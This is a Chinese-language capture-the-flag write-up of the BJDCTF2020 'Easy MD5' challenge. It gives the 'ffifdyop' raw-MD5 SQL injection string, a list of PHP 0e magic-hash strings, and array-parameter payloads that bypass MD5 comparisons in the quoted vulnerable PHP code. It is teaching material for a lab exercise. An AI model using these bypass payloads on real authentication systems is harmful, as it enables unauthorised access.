[BJDCTF2020]Easy MD5

在输入框中随便输入一个值,点击提交,响应包中发现hint提示

 当存在md5($password,true)时,我们可以通过传递ffifdyop,让sql语句where后面语句变成password = 'xxxx' or true,达到永真,相当于万能密码

 具体原理参考文章:https://blog.csdn.net/March97/article/details/81222922

 输入ffifdyop后,进入下一个页面

 查看源代码,第5行存在md5()绕过漏洞

1 <!--
2 $a = $GET['a'];
3 $b = $_GET['b'];
4 
5 if($a != $b && md5($a) == md5($b)){
6     // wow, glzjin wants a girl friend.
7 -->

这里可以使用赋值数组的方式进行绕过,也可以使用0e开头的字符串绕过

md5加密后以0e开头的字符串:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a

payload:

http://1b56ab74-d369-444a-836f-7cc47b731bb5.node3.buuoj.cn/levels91.php?a[]=1&b[]=0

又来到了新的页面,代码第7行同样存在md5()绕过漏洞,传递数组便可绕过

1 <?php
2 error_reporting(0);
3 include "flag.php";
4 
5 highlight_file(__FILE__);
6 
7 if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
8     echo $flag;
9 }
payload:
param1[]=1&param2[]=0

原文地址:https://www.cnblogs.com/gtx690/p/13235229.html